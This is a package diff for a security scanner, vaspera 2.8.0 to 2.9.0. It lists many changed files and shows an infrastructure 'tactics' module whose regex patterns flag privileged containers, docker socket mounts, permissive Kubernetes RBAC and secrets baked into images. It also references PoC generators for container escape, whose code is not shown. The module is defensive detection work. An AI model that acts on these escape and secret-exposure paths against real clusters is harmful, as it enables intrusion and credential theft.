vaspera 2.8.0 → 2.9.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (303) hide show
  1. package/CHANGELOG.md +55 -0
  2. package/README.md +111 -7
  3. package/dist/__tests__/agents/adversary/tactics/api.test.d.ts +5 -0
  4. package/dist/__tests__/agents/adversary/tactics/api.test.d.ts.map +1 -0
  5. package/dist/__tests__/agents/adversary/tactics/api.test.js +369 -0
  6. package/dist/__tests__/agents/adversary/tactics/api.test.js.map +1 -0
  7. package/dist/__tests__/agents/adversary/tactics/llm.test.d.ts +5 -0
  8. package/dist/__tests__/agents/adversary/tactics/llm.test.d.ts.map +1 -0
  9. package/dist/__tests__/agents/adversary/tactics/llm.test.js +409 -0
  10. package/dist/__tests__/agents/adversary/tactics/llm.test.js.map +1 -0
  11. package/dist/__tests__/agents/adversary/tactics/registry.test.d.ts +7 -0
  12. package/dist/__tests__/agents/adversary/tactics/registry.test.d.ts.map +1 -0
  13. package/dist/__tests__/agents/adversary/tactics/registry.test.js +74 -0
  14. package/dist/__tests__/agents/adversary/tactics/registry.test.js.map +1 -0
  15. package/dist/__tests__/agents/adversary/tactics/web-app.test.d.ts +7 -0
  16. package/dist/__tests__/agents/adversary/tactics/web-app.test.d.ts.map +1 -0
  17. package/dist/__tests__/agents/adversary/tactics/web-app.test.js +374 -0
  18. package/dist/__tests__/agents/adversary/tactics/web-app.test.js.map +1 -0
  19. package/dist/__tests__/compliance-bundle.test.d.ts +9 -0
  20. package/dist/__tests__/compliance-bundle.test.d.ts.map +1 -0
  21. package/dist/__tests__/compliance-bundle.test.js +344 -0
  22. package/dist/__tests__/compliance-bundle.test.js.map +1 -0
  23. package/dist/__tests__/healthcare-compliance.test.d.ts +9 -0
  24. package/dist/__tests__/healthcare-compliance.test.d.ts.map +1 -0
  25. package/dist/__tests__/healthcare-compliance.test.js +233 -0
  26. package/dist/__tests__/healthcare-compliance.test.js.map +1 -0
  27. package/dist/action/diff-mode.d.ts +124 -8
  28. package/dist/action/diff-mode.d.ts.map +1 -1
  29. package/dist/action/diff-mode.js +384 -65
  30. package/dist/action/diff-mode.js.map +1 -1
  31. package/dist/action/diff-mode.test.js +3 -3
  32. package/dist/action/diff-mode.test.js.map +1 -1
  33. package/dist/action/pr-comment.test.js +1 -0
  34. package/dist/action/pr-comment.test.js.map +1 -1
  35. package/dist/action/sarif-upload.test.js +1 -0
  36. package/dist/action/sarif-upload.test.js.map +1 -1
  37. package/dist/agents/adversary/config.d.ts +25 -4
  38. package/dist/agents/adversary/config.d.ts.map +1 -1
  39. package/dist/agents/adversary/config.js +38 -8
  40. package/dist/agents/adversary/config.js.map +1 -1
  41. package/dist/agents/adversary/index.d.ts +7 -0
  42. package/dist/agents/adversary/index.d.ts.map +1 -1
  43. package/dist/agents/adversary/index.js +83 -1
  44. package/dist/agents/adversary/index.js.map +1 -1
  45. package/dist/agents/adversary/reporting/compliance-mapper.d.ts +108 -0
  46. package/dist/agents/adversary/reporting/compliance-mapper.d.ts.map +1 -0
  47. package/dist/agents/adversary/reporting/compliance-mapper.js +391 -0
  48. package/dist/agents/adversary/reporting/compliance-mapper.js.map +1 -0
  49. package/dist/agents/adversary/reporting/index.d.ts +10 -0
  50. package/dist/agents/adversary/reporting/index.d.ts.map +1 -0
  51. package/dist/agents/adversary/reporting/index.js +10 -0
  52. package/dist/agents/adversary/reporting/index.js.map +1 -0
  53. package/dist/agents/adversary/reporting/poc-generator.d.ts +44 -0
  54. package/dist/agents/adversary/reporting/poc-generator.d.ts.map +1 -0
  55. package/dist/agents/adversary/reporting/poc-generator.js +308 -0
  56. package/dist/agents/adversary/reporting/poc-generator.js.map +1 -0
  57. package/dist/agents/adversary/tactics/api.d.ts +13 -0
  58. package/dist/agents/adversary/tactics/api.d.ts.map +1 -0
  59. package/dist/agents/adversary/tactics/api.js +815 -0
  60. package/dist/agents/adversary/tactics/api.js.map +1 -0
  61. package/dist/agents/adversary/tactics/auth.d.ts +13 -0
  62. package/dist/agents/adversary/tactics/auth.d.ts.map +1 -0
  63. package/dist/agents/adversary/tactics/auth.js +676 -0
  64. package/dist/agents/adversary/tactics/auth.js.map +1 -0
  65. package/dist/agents/adversary/tactics/index.d.ts +129 -0
  66. package/dist/agents/adversary/tactics/index.d.ts.map +1 -0
  67. package/dist/agents/adversary/tactics/index.js +199 -0
  68. package/dist/agents/adversary/tactics/index.js.map +1 -0
  69. package/dist/agents/adversary/tactics/infra.d.ts +13 -0
  70. package/dist/agents/adversary/tactics/infra.d.ts.map +1 -0
  71. package/dist/agents/adversary/tactics/infra.js +827 -0
  72. package/dist/agents/adversary/tactics/infra.js.map +1 -0
  73. package/dist/agents/adversary/tactics/injection.d.ts +12 -0
  74. package/dist/agents/adversary/tactics/injection.d.ts.map +1 -0
  75. package/dist/agents/adversary/tactics/injection.js +549 -0
  76. package/dist/agents/adversary/tactics/injection.js.map +1 -0
  77. package/dist/agents/adversary/tactics/llm.d.ts +13 -0
  78. package/dist/agents/adversary/tactics/llm.d.ts.map +1 -0
  79. package/dist/agents/adversary/tactics/llm.js +767 -0
  80. package/dist/agents/adversary/tactics/llm.js.map +1 -0
  81. package/dist/agents/adversary/tactics/web-app.d.ts +13 -0
  82. package/dist/agents/adversary/tactics/web-app.d.ts.map +1 -0
  83. package/dist/agents/adversary/tactics/web-app.js +717 -0
  84. package/dist/agents/adversary/tactics/web-app.js.map +1 -0
  85. package/dist/agents/adversary/types.d.ts +66 -10
  86. package/dist/agents/adversary/types.d.ts.map +1 -1
  87. package/dist/agents/zero-day-hunter.d.ts +1 -1
  88. package/dist/agents/zero-day-hunter.d.ts.map +1 -1
  89. package/dist/analysis/data-flow.d.ts +154 -0
  90. package/dist/analysis/data-flow.d.ts.map +1 -0
  91. package/dist/analysis/data-flow.js +393 -0
  92. package/dist/analysis/data-flow.js.map +1 -0
  93. package/dist/analysis/index.d.ts +9 -0
  94. package/dist/analysis/index.d.ts.map +1 -0
  95. package/dist/analysis/index.js +9 -0
  96. package/dist/analysis/index.js.map +1 -0
  97. package/dist/badge-service/index.d.ts +144 -0
  98. package/dist/badge-service/index.d.ts.map +1 -0
  99. package/dist/badge-service/index.js +206 -0
  100. package/dist/badge-service/index.js.map +1 -0
  101. package/dist/certification/types.d.ts +1 -1
  102. package/dist/certification/types.d.ts.map +1 -1
  103. package/dist/certification/types.js.map +1 -1
  104. package/dist/commands/certification/certify.d.ts.map +1 -1
  105. package/dist/commands/certification/certify.js +18 -4
  106. package/dist/commands/certification/certify.js.map +1 -1
  107. package/dist/compliance/attestation.d.ts +39 -0
  108. package/dist/compliance/attestation.d.ts.map +1 -0
  109. package/dist/compliance/attestation.js +364 -0
  110. package/dist/compliance/attestation.js.map +1 -0
  111. package/dist/compliance/cfr42-part2.d.ts +42 -0
  112. package/dist/compliance/cfr42-part2.d.ts.map +1 -0
  113. package/dist/compliance/cfr42-part2.js +408 -0
  114. package/dist/compliance/cfr42-part2.js.map +1 -0
  115. package/dist/compliance/compliance-bundle.d.ts +100 -0
  116. package/dist/compliance/compliance-bundle.d.ts.map +1 -0
  117. package/dist/compliance/compliance-bundle.js +210 -0
  118. package/dist/compliance/compliance-bundle.js.map +1 -0
  119. package/dist/compliance/healthcare-bundle.d.ts +68 -0
  120. package/dist/compliance/healthcare-bundle.d.ts.map +1 -0
  121. package/dist/compliance/healthcare-bundle.js +104 -0
  122. package/dist/compliance/healthcare-bundle.js.map +1 -0
  123. package/dist/compliance/hipaa.d.ts.map +1 -1
  124. package/dist/compliance/hipaa.js +14 -11
  125. package/dist/compliance/hipaa.js.map +1 -1
  126. package/dist/compliance/index.d.ts +10 -2
  127. package/dist/compliance/index.d.ts.map +1 -1
  128. package/dist/compliance/index.js +9 -3
  129. package/dist/compliance/index.js.map +1 -1
  130. package/dist/compliance/mapper.d.ts.map +1 -1
  131. package/dist/compliance/mapper.js +3 -17
  132. package/dist/compliance/mapper.js.map +1 -1
  133. package/dist/compliance/nist-800-53.d.ts +22 -6
  134. package/dist/compliance/nist-800-53.d.ts.map +1 -1
  135. package/dist/compliance/nist-800-53.js +264 -272
  136. package/dist/compliance/nist-800-53.js.map +1 -1
  137. package/dist/compliance/report.d.ts +31 -2
  138. package/dist/compliance/report.d.ts.map +1 -1
  139. package/dist/compliance/report.js +255 -4
  140. package/dist/compliance/report.js.map +1 -1
  141. package/dist/compliance/types.d.ts +1 -1
  142. package/dist/compliance/types.d.ts.map +1 -1
  143. package/dist/config/flags.d.ts +12 -12
  144. package/dist/cost/index.d.ts +1 -1
  145. package/dist/cost/index.d.ts.map +1 -1
  146. package/dist/cost/index.js +1 -1
  147. package/dist/cost/index.js.map +1 -1
  148. package/dist/cost/tracker.d.ts +64 -0
  149. package/dist/cost/tracker.d.ts.map +1 -1
  150. package/dist/cost/tracker.js +165 -0
  151. package/dist/cost/tracker.js.map +1 -1
  152. package/dist/eval/fixtures/healthcare/audit-gaps.d.ts +28 -0
  153. package/dist/eval/fixtures/healthcare/audit-gaps.d.ts.map +1 -0
  154. package/dist/eval/fixtures/healthcare/audit-gaps.js +90 -0
  155. package/dist/eval/fixtures/healthcare/audit-gaps.js.map +1 -0
  156. package/dist/eval/fixtures/healthcare/consent-bypass.d.ts +31 -0
  157. package/dist/eval/fixtures/healthcare/consent-bypass.d.ts.map +1 -0
  158. package/dist/eval/fixtures/healthcare/consent-bypass.js +61 -0
  159. package/dist/eval/fixtures/healthcare/consent-bypass.js.map +1 -0
  160. package/dist/eval/fixtures/healthcare/phi-in-logs.d.ts +24 -0
  161. package/dist/eval/fixtures/healthcare/phi-in-logs.d.ts.map +1 -0
  162. package/dist/eval/fixtures/healthcare/phi-in-logs.js +41 -0
  163. package/dist/eval/fixtures/healthcare/phi-in-logs.js.map +1 -0
  164. package/dist/evidence/collector.d.ts +21 -0
  165. package/dist/evidence/collector.d.ts.map +1 -0
  166. package/dist/evidence/collector.js +340 -0
  167. package/dist/evidence/collector.js.map +1 -0
  168. package/dist/evidence/index.d.ts +11 -0
  169. package/dist/evidence/index.d.ts.map +1 -0
  170. package/dist/evidence/index.js +12 -0
  171. package/dist/evidence/index.js.map +1 -0
  172. package/dist/evidence/store.d.ts +39 -0
  173. package/dist/evidence/store.d.ts.map +1 -0
  174. package/dist/evidence/store.js +173 -0
  175. package/dist/evidence/store.js.map +1 -0
  176. package/dist/evidence/types.d.ts +175 -0
  177. package/dist/evidence/types.d.ts.map +1 -0
  178. package/dist/evidence/types.js +9 -0
  179. package/dist/evidence/types.js.map +1 -0
  180. package/dist/exporters/checkmarx.d.ts +18 -0
  181. package/dist/exporters/checkmarx.d.ts.map +1 -0
  182. package/dist/exporters/checkmarx.js +203 -0
  183. package/dist/exporters/checkmarx.js.map +1 -0
  184. package/dist/exporters/index.d.ts +22 -0
  185. package/dist/exporters/index.d.ts.map +1 -0
  186. package/dist/exporters/index.js +41 -0
  187. package/dist/exporters/index.js.map +1 -0
  188. package/dist/exporters/snyk.d.ts +18 -0
  189. package/dist/exporters/snyk.d.ts.map +1 -0
  190. package/dist/exporters/snyk.js +119 -0
  191. package/dist/exporters/snyk.js.map +1 -0
  192. package/dist/exporters/sonarqube.d.ts +18 -0
  193. package/dist/exporters/sonarqube.d.ts.map +1 -0
  194. package/dist/exporters/sonarqube.js +125 -0
  195. package/dist/exporters/sonarqube.js.map +1 -0
  196. package/dist/exporters/types.d.ts +190 -0
  197. package/dist/exporters/types.d.ts.map +1 -0
  198. package/dist/exporters/types.js +9 -0
  199. package/dist/exporters/types.js.map +1 -0
  200. package/dist/frontier/index.d.ts +12 -0
  201. package/dist/frontier/index.d.ts.map +1 -0
  202. package/dist/frontier/index.js +12 -0
  203. package/dist/frontier/index.js.map +1 -0
  204. package/dist/frontier/orchestrator.d.ts +73 -0
  205. package/dist/frontier/orchestrator.d.ts.map +1 -0
  206. package/dist/frontier/orchestrator.js +312 -0
  207. package/dist/frontier/orchestrator.js.map +1 -0
  208. package/dist/frontier/providers/stub.d.ts +32 -0
  209. package/dist/frontier/providers/stub.d.ts.map +1 -0
  210. package/dist/frontier/providers/stub.js +66 -0
  211. package/dist/frontier/providers/stub.js.map +1 -0
  212. package/dist/frontier/types.d.ts +318 -0
  213. package/dist/frontier/types.d.ts.map +1 -0
  214. package/dist/frontier/types.js +27 -0
  215. package/dist/frontier/types.js.map +1 -0
  216. package/dist/history/index.d.ts +13 -0
  217. package/dist/history/index.d.ts.map +1 -0
  218. package/dist/history/index.js +15 -0
  219. package/dist/history/index.js.map +1 -0
  220. package/dist/history/store.d.ts +74 -0
  221. package/dist/history/store.d.ts.map +1 -0
  222. package/dist/history/store.js +399 -0
  223. package/dist/history/store.js.map +1 -0
  224. package/dist/history/types.d.ts +282 -0
  225. package/dist/history/types.d.ts.map +1 -0
  226. package/dist/history/types.js +41 -0
  227. package/dist/history/types.js.map +1 -0
  228. package/dist/history/verify.d.ts +44 -0
  229. package/dist/history/verify.d.ts.map +1 -0
  230. package/dist/history/verify.js +230 -0
  231. package/dist/history/verify.js.map +1 -0
  232. package/dist/index.d.ts.map +1 -1
  233. package/dist/index.js +431 -18
  234. package/dist/index.js.map +1 -1
  235. package/dist/multimodel/index.d.ts +1 -0
  236. package/dist/multimodel/index.d.ts.map +1 -1
  237. package/dist/multimodel/index.js +2 -0
  238. package/dist/multimodel/index.js.map +1 -1
  239. package/dist/multimodel/leaderboard.d.ts +116 -0
  240. package/dist/multimodel/leaderboard.d.ts.map +1 -0
  241. package/dist/multimodel/leaderboard.js +262 -0
  242. package/dist/multimodel/leaderboard.js.map +1 -0
  243. package/dist/observability/otel.d.ts.map +1 -1
  244. package/dist/observability/otel.js +1 -3
  245. package/dist/observability/otel.js.map +1 -1
  246. package/dist/plugins/loader.js +1 -1
  247. package/dist/plugins/loader.js.map +1 -1
  248. package/dist/scanners/agent/agent-chain-analysis.d.ts +152 -0
  249. package/dist/scanners/agent/agent-chain-analysis.d.ts.map +1 -0
  250. package/dist/scanners/agent/agent-chain-analysis.js +438 -0
  251. package/dist/scanners/agent/agent-chain-analysis.js.map +1 -0
  252. package/dist/scanners/agent/payloads/index.d.ts +2 -1
  253. package/dist/scanners/agent/payloads/index.d.ts.map +1 -1
  254. package/dist/scanners/agent/payloads/index.js +25 -6
  255. package/dist/scanners/agent/payloads/index.js.map +1 -1
  256. package/dist/scanners/agent/prompt-injection-fuzzer.d.ts.map +1 -1
  257. package/dist/scanners/agent/prompt-injection-fuzzer.js +14 -0
  258. package/dist/scanners/agent/prompt-injection-fuzzer.js.map +1 -1
  259. package/dist/scanners/agent/types.d.ts +5 -5
  260. package/dist/scanners/agent/types.d.ts.map +1 -1
  261. package/dist/scanners/agent/types.js.map +1 -1
  262. package/dist/scanners/cache.d.ts +156 -0
  263. package/dist/scanners/cache.d.ts.map +1 -0
  264. package/dist/scanners/cache.js +462 -0
  265. package/dist/scanners/cache.js.map +1 -0
  266. package/dist/scanners/dependencies.js +4 -4
  267. package/dist/scanners/dependencies.js.map +1 -1
  268. package/dist/scanners/gosec.d.ts.map +1 -1
  269. package/dist/scanners/gosec.js +47 -9
  270. package/dist/scanners/gosec.js.map +1 -1
  271. package/dist/scanners/healthcare.d.ts +29 -0
  272. package/dist/scanners/healthcare.d.ts.map +1 -0
  273. package/dist/scanners/healthcare.js +526 -0
  274. package/dist/scanners/healthcare.js.map +1 -0
  275. package/dist/scanners/index.d.ts +1 -0
  276. package/dist/scanners/index.d.ts.map +1 -1
  277. package/dist/scanners/index.js +33 -0
  278. package/dist/scanners/index.js.map +1 -1
  279. package/dist/scanners/index.test.js +6 -6
  280. package/dist/scanners/index.test.js.map +1 -1
  281. package/dist/scanners/secrets.js +4 -4
  282. package/dist/scanners/secrets.js.map +1 -1
  283. package/dist/scanners/semgrep.js +5 -5
  284. package/dist/scanners/semgrep.js.map +1 -1
  285. package/dist/scanners/types.d.ts +1 -1
  286. package/dist/scanners/types.d.ts.map +1 -1
  287. package/dist/scanners/types.js +1 -0
  288. package/dist/scanners/types.js.map +1 -1
  289. package/dist/scanners/typescript.test.js +1 -1
  290. package/dist/scanners/typescript.test.js.map +1 -1
  291. package/dist/telemetry/index.d.ts +10 -0
  292. package/dist/telemetry/index.d.ts.map +1 -0
  293. package/dist/telemetry/index.js +10 -0
  294. package/dist/telemetry/index.js.map +1 -0
  295. package/dist/telemetry/registry.d.ts +178 -0
  296. package/dist/telemetry/registry.d.ts.map +1 -0
  297. package/dist/telemetry/registry.js +297 -0
  298. package/dist/telemetry/registry.js.map +1 -0
  299. package/dist/telemetry/usage.d.ts +197 -0
  300. package/dist/telemetry/usage.d.ts.map +1 -0
  301. package/dist/telemetry/usage.js +244 -0
  302. package/dist/telemetry/usage.js.map +1 -0
  303. package/package.json +1 -1
@@ -0,0 +1,827 @@
1
+ /**
2
+ * Infrastructure Tactics Module
3
+ *
4
+ * Detects infrastructure and DevOps vulnerabilities including container
5
+ * security, Kubernetes RBAC, secrets in images, and insecure configurations.
6
+ * Priority 3 - critical for cloud-native and containerized applications.
7
+ *
8
+ * @module agents/adversary/tactics/infra
9
+ */
10
+ import { registerTactic, generateFindingId, } from "./index.js";
11
+ // ============================================================================
12
+ // Patterns
13
+ // ============================================================================
14
+ const CONTAINER_PATTERNS = [
15
+ {
16
+ id: "privileged-container",
17
+ name: "Privileged Container",
18
+ description: "Container running with --privileged flag or privileged: true",
19
+ cwe: "CWE-250",
20
+ severity: "critical",
21
+ regex: /--privileged|privileged\s*:\s*true/gi,
22
+ },
23
+ {
24
+ id: "container-capabilities",
25
+ name: "Excessive Container Capabilities",
26
+ description: "Container granted dangerous capabilities (SYS_ADMIN, SYS_PTRACE, etc.)",
27
+ cwe: "CWE-269",
28
+ severity: "high",
29
+ regex: /add:\s*\[.*(?:SYS_ADMIN|SYS_PTRACE|SYS_MODULE|DAC_READ_SEARCH|DAC_OVERRIDE)/gi,
30
+ },
31
+ {
32
+ id: "host-pid-namespace",
33
+ name: "Host PID Namespace",
34
+ description: "Container sharing host PID namespace",
35
+ cwe: "CWE-269",
36
+ severity: "high",
37
+ regex: /--pid\s*=?\s*host|hostPID\s*:\s*true/gi,
38
+ },
39
+ {
40
+ id: "host-network-namespace",
41
+ name: "Host Network Namespace",
42
+ description: "Container sharing host network namespace",
43
+ cwe: "CWE-269",
44
+ severity: "high",
45
+ regex: /--network\s*=?\s*host|hostNetwork\s*:\s*true/gi,
46
+ },
47
+ {
48
+ id: "host-ipc-namespace",
49
+ name: "Host IPC Namespace",
50
+ description: "Container sharing host IPC namespace",
51
+ cwe: "CWE-269",
52
+ severity: "medium",
53
+ regex: /--ipc\s*=?\s*host|hostIPC\s*:\s*true/gi,
54
+ },
55
+ {
56
+ id: "insecure-volume-mount",
57
+ name: "Insecure Volume Mount",
58
+ description: "Sensitive host paths mounted into container",
59
+ cwe: "CWE-284",
60
+ severity: "high",
61
+ regex: /-v\s+(?:\/|\/root|\/etc|\/var\/run\/docker\.sock)|hostPath:\s*\n\s*path:\s*(?:\/|\/root|\/etc|\/var\/run)/gi,
62
+ },
63
+ {
64
+ id: "docker-socket-mount",
65
+ name: "Docker Socket Mounted",
66
+ description: "Docker socket mounted in container (enables container escape)",
67
+ cwe: "CWE-284",
68
+ severity: "critical",
69
+ regex: /\/var\/run\/docker\.sock/gi,
70
+ },
71
+ ];
72
+ const KUBERNETES_PATTERNS = [
73
+ {
74
+ id: "k8s-overly-permissive-rbac",
75
+ name: "Overly Permissive Kubernetes RBAC",
76
+ description: "ClusterRole or Role with excessive permissions (*, get/list/watch secrets, create pods)",
77
+ cwe: "CWE-269",
78
+ severity: "high",
79
+ regex: /resources:\s*\[\s*['"]\*['"]|verbs:\s*\[\s*['"]\*['"]|resources:\s*\[.*secrets.*\].*verbs:\s*\[.*(?:get|list|watch)/gis,
80
+ },
81
+ {
82
+ id: "k8s-default-service-account",
83
+ name: "Using Default Service Account",
84
+ description: "Pod using default service account with cluster access",
85
+ cwe: "CWE-250",
86
+ severity: "medium",
87
+ regex: /serviceAccountName:\s*default|automountServiceAccountToken:\s*true/gi,
88
+ },
89
+ {
90
+ id: "k8s-no-network-policy",
91
+ name: "Missing Network Policy",
92
+ description: "No NetworkPolicy defined for namespace",
93
+ cwe: "CWE-668",
94
+ severity: "medium",
95
+ regex: /kind:\s*Deployment(?![\s\S]*kind:\s*NetworkPolicy)/gi,
96
+ },
97
+ {
98
+ id: "k8s-allow-privilege-escalation",
99
+ name: "Allow Privilege Escalation",
100
+ description: "Container allowed to escalate privileges",
101
+ cwe: "CWE-269",
102
+ severity: "high",
103
+ regex: /allowPrivilegeEscalation:\s*true/gi,
104
+ },
105
+ {
106
+ id: "k8s-run-as-root",
107
+ name: "Container Running as Root",
108
+ description: "Container running as root user (UID 0)",
109
+ cwe: "CWE-250",
110
+ severity: "medium",
111
+ regex: /runAsUser:\s*0(?!\d)|runAsNonRoot:\s*false/gi,
112
+ },
113
+ {
114
+ id: "k8s-no-security-context",
115
+ name: "Missing Security Context",
116
+ description: "Pod or container missing security context configuration",
117
+ cwe: "CWE-1188",
118
+ severity: "low",
119
+ regex: /kind:\s*(?:Pod|Deployment|StatefulSet|DaemonSet)(?![\s\S]{0,500}securityContext:)/gi,
120
+ },
121
+ ];
122
+ const SECRETS_PATTERNS = [
123
+ {
124
+ id: "secret-in-dockerfile",
125
+ name: "Secret in Dockerfile",
126
+ description: "Hardcoded secret in Dockerfile (ENV, ARG, or inline)",
127
+ cwe: "CWE-798",
128
+ severity: "critical",
129
+ regex: /(?:ENV|ARG)\s+(?:API_KEY|SECRET|PASSWORD|TOKEN|PRIVATE_KEY)\s*=?\s*[^\s$][a-zA-Z0-9_\-+=\/]{16,}/gi,
130
+ },
131
+ {
132
+ id: "secret-in-compose",
133
+ name: "Secret in Docker Compose",
134
+ description: "Hardcoded secret in docker-compose.yml environment variables",
135
+ cwe: "CWE-798",
136
+ severity: "critical",
137
+ regex: /environment:\s*\n(?:\s*-?\s*[A-Z_]+:\s*[^\s$][^\n]{8,}\n)+/gi,
138
+ },
139
+ {
140
+ id: "secret-in-k8s-manifest",
141
+ name: "Secret in Kubernetes Manifest",
142
+ description: "Plaintext secret in Kubernetes manifest instead of Secret resource",
143
+ cwe: "CWE-798",
144
+ severity: "critical",
145
+ regex: /(?:value|data):\s*(?:ey[A-Za-z0-9_\-]+=*|[a-zA-Z0-9_\-+=\/]{32,})/gi,
146
+ },
147
+ {
148
+ id: "aws-credentials-in-image",
149
+ name: "AWS Credentials in Image",
150
+ description: "AWS credentials or config embedded in container image",
151
+ cwe: "CWE-798",
152
+ severity: "critical",
153
+ regex: /(?:COPY|ADD)\s+(?:\.aws|credentials|config)\s+/gi,
154
+ },
155
+ ];
156
+ const REGISTRY_PATTERNS = [
157
+ {
158
+ id: "insecure-registry",
159
+ name: "Insecure Container Registry",
160
+ description: "Using insecure or unverified container registry",
161
+ cwe: "CWE-494",
162
+ severity: "medium",
163
+ regex: /--insecure-registry|insecure-registries/gi,
164
+ },
165
+ {
166
+ id: "no-image-signature",
167
+ name: "Image Signature Verification Disabled",
168
+ description: "Container image signature verification not enforced",
169
+ cwe: "CWE-345",
170
+ severity: "medium",
171
+ regex: /DOCKER_CONTENT_TRUST\s*=\s*(?:0|false)|--disable-content-trust/gi,
172
+ },
173
+ {
174
+ id: "latest-tag",
175
+ name: "Using Latest Tag",
176
+ description: "Using :latest tag instead of pinned version",
177
+ cwe: "CWE-1104",
178
+ severity: "low",
179
+ regex: /FROM\s+[a-zA-Z0-9\-_.\/]+:latest|image:\s*[a-zA-Z0-9\-_.\/]+:latest/gi,
180
+ },
181
+ ];
182
+ const HELM_PATTERNS = [
183
+ {
184
+ id: "helm-tls-disabled",
185
+ name: "Helm TLS Verification Disabled",
186
+ description: "Helm chart installation with TLS verification disabled",
187
+ cwe: "CWE-295",
188
+ severity: "medium",
189
+ regex: /--tls-verify\s*=?\s*false|--disable-openapi-validation/gi,
190
+ },
191
+ {
192
+ id: "helm-default-values",
193
+ name: "Insecure Helm Default Values",
194
+ description: "Helm chart with insecure default values (debug mode, weak passwords)",
195
+ cwe: "CWE-1188",
196
+ severity: "medium",
197
+ regex: /debug:\s*true|enabled:\s*false.*(?:rbac|networkPolicy)/gi,
198
+ },
199
+ ];
200
+ // ============================================================================
201
+ // Tactic Implementation
202
+ // ============================================================================
203
+ const infraTactic = {
204
+ focusArea: "infra",
205
+ name: "Infrastructure",
206
+ description: "Detects infrastructure and DevOps vulnerabilities in containers, Kubernetes, and cloud configurations",
207
+ patterns: [
208
+ ...CONTAINER_PATTERNS,
209
+ ...KUBERNETES_PATTERNS,
210
+ ...SECRETS_PATTERNS,
211
+ ...REGISTRY_PATTERNS,
212
+ ...HELM_PATTERNS,
213
+ ],
214
+ async analyzeFile(file, config) {
215
+ const findings = [];
216
+ for (const pattern of this.patterns) {
217
+ if (!pattern.regex)
218
+ continue;
219
+ // Reset regex state
220
+ pattern.regex.lastIndex = 0;
221
+ let match;
222
+ while ((match = pattern.regex.exec(file.content)) !== null) {
223
+ // Calculate line number
224
+ const beforeMatch = file.content.substring(0, match.index);
225
+ const lineNum = (beforeMatch.match(/\n/g) || []).length + 1;
226
+ // Skip if in comment
227
+ const line = file.lines[lineNum - 1] || "";
228
+ if (isInComment(line, file.relativePath)) {
229
+ continue;
230
+ }
231
+ // Skip known false positives
232
+ if (isFalsePositive(match[0], pattern.id, file)) {
233
+ continue;
234
+ }
235
+ const finding = {
236
+ id: generateFindingId("infra", file.relativePath, lineNum, pattern.id),
237
+ tacticName: "infra",
238
+ focusArea: "infra",
239
+ patternId: pattern.id,
240
+ file: file.relativePath,
241
+ line: lineNum,
242
+ message: `${pattern.name}: ${pattern.description}`,
243
+ severity: pattern.severity,
244
+ confidence: calculateConfidence(match[0], pattern, file),
245
+ evidence: redactSensitive(match[0].substring(0, 200)),
246
+ cweIds: [pattern.cwe],
247
+ mitreIds: getMitreIds(pattern.id),
248
+ suggestedFix: getSuggestedFix(pattern.id),
249
+ };
250
+ findings.push(finding);
251
+ }
252
+ }
253
+ return findings;
254
+ },
255
+ async generatePoC(finding) {
256
+ const pocMap = {
257
+ "privileged-container": () => privilegedContainerPoC(finding),
258
+ "container-capabilities": () => containerEscapePoC(finding),
259
+ "docker-socket-mount": () => dockerSocketPoC(finding),
260
+ "k8s-overly-permissive-rbac": () => k8sRbacPoC(finding),
261
+ "secret-in-dockerfile": () => secretExtractionPoC(finding),
262
+ "secret-in-k8s-manifest": () => secretExtractionPoC(finding),
263
+ "insecure-volume-mount": () => hostPathPoC(finding),
264
+ "host-pid-namespace": () => hostNamespacePoC(finding),
265
+ "k8s-allow-privilege-escalation": () => privEscalationPoC(finding),
266
+ };
267
+ const generator = pocMap[finding.patternId];
268
+ return generator ? generator() : null;
269
+ },
270
+ getPromptEnhancement() {
271
+ return `When analyzing for infrastructure vulnerabilities, focus on:
272
+
273
+ 1. **Container Security**:
274
+ - Privileged containers (--privileged flag)
275
+ - Dangerous capabilities (SYS_ADMIN, SYS_PTRACE, SYS_MODULE)
276
+ - Host namespace sharing (hostPID, hostNetwork, hostIPC)
277
+ - Docker socket mounting (enables container escape)
278
+ - Root user execution
279
+ - Insecure volume mounts
280
+
281
+ 2. **Kubernetes RBAC**:
282
+ - Overly permissive roles (resources: ["*"], verbs: ["*"])
283
+ - Access to secrets (get/list/watch secrets)
284
+ - Pod creation permissions (can create privileged pods)
285
+ - Default service account usage
286
+ - ClusterRole vs Role boundaries
287
+
288
+ 3. **Network Security**:
289
+ - Missing NetworkPolicy (default allow-all)
290
+ - Exposed services without ingress controls
291
+ - Unrestricted egress
292
+ - Host network mode
293
+
294
+ 4. **Secrets Management**:
295
+ - Hardcoded secrets in Dockerfiles, compose files, manifests
296
+ - Plaintext secrets instead of Secret resources
297
+ - AWS/GCP credentials in images
298
+ - Private keys in container layers
299
+
300
+ 5. **Image Security**:
301
+ - Using :latest tags (unpinned versions)
302
+ - Insecure registries
303
+ - Missing content trust verification
304
+ - No image scanning in pipeline
305
+
306
+ 6. **Cloud Configuration**:
307
+ - Overly permissive IAM roles
308
+ - Public S3 buckets
309
+ - Unrestricted security groups
310
+ - Metadata service access (IMDS v1)
311
+
312
+ For each potential vulnerability, determine:
313
+ - Can an attacker escape the container?
314
+ - Can they escalate to cluster admin?
315
+ - Are secrets exposed or extractable?
316
+ - What's the blast radius of compromise?`;
317
+ },
318
+ getRelevantFilePatterns() {
319
+ return [
320
+ "**/Dockerfile",
321
+ "**/Dockerfile.*",
322
+ "**/*.dockerfile",
323
+ "**/docker-compose.yml",
324
+ "**/docker-compose.yaml",
325
+ "**/compose.yml",
326
+ "**/compose.yaml",
327
+ "**/kubernetes/**",
328
+ "**/k8s/**",
329
+ "**/*.k8s.yml",
330
+ "**/*.k8s.yaml",
331
+ "**/helm/**",
332
+ "**/charts/**",
333
+ "**/deployment.yml",
334
+ "**/deployment.yaml",
335
+ "**/service.yml",
336
+ "**/service.yaml",
337
+ "**/configmap.yml",
338
+ "**/configmap.yaml",
339
+ "**/secret.yml",
340
+ "**/secret.yaml",
341
+ "**/.github/workflows/**",
342
+ "**/gitlab-ci.yml",
343
+ "**/.circleci/**",
344
+ "**/terraform/**",
345
+ "**/*.tf",
346
+ ];
347
+ },
348
+ };
349
+ // ============================================================================
350
+ // Helper Functions
351
+ // ============================================================================
352
+ function isInComment(line, filePath) {
353
+ const trimmed = line.trim();
354
+ // YAML/Dockerfile comments
355
+ if (filePath.includes("Dockerfile") ||
356
+ filePath.endsWith(".yml") ||
357
+ filePath.endsWith(".yaml")) {
358
+ return trimmed.startsWith("#");
359
+ }
360
+ // Terraform comments
361
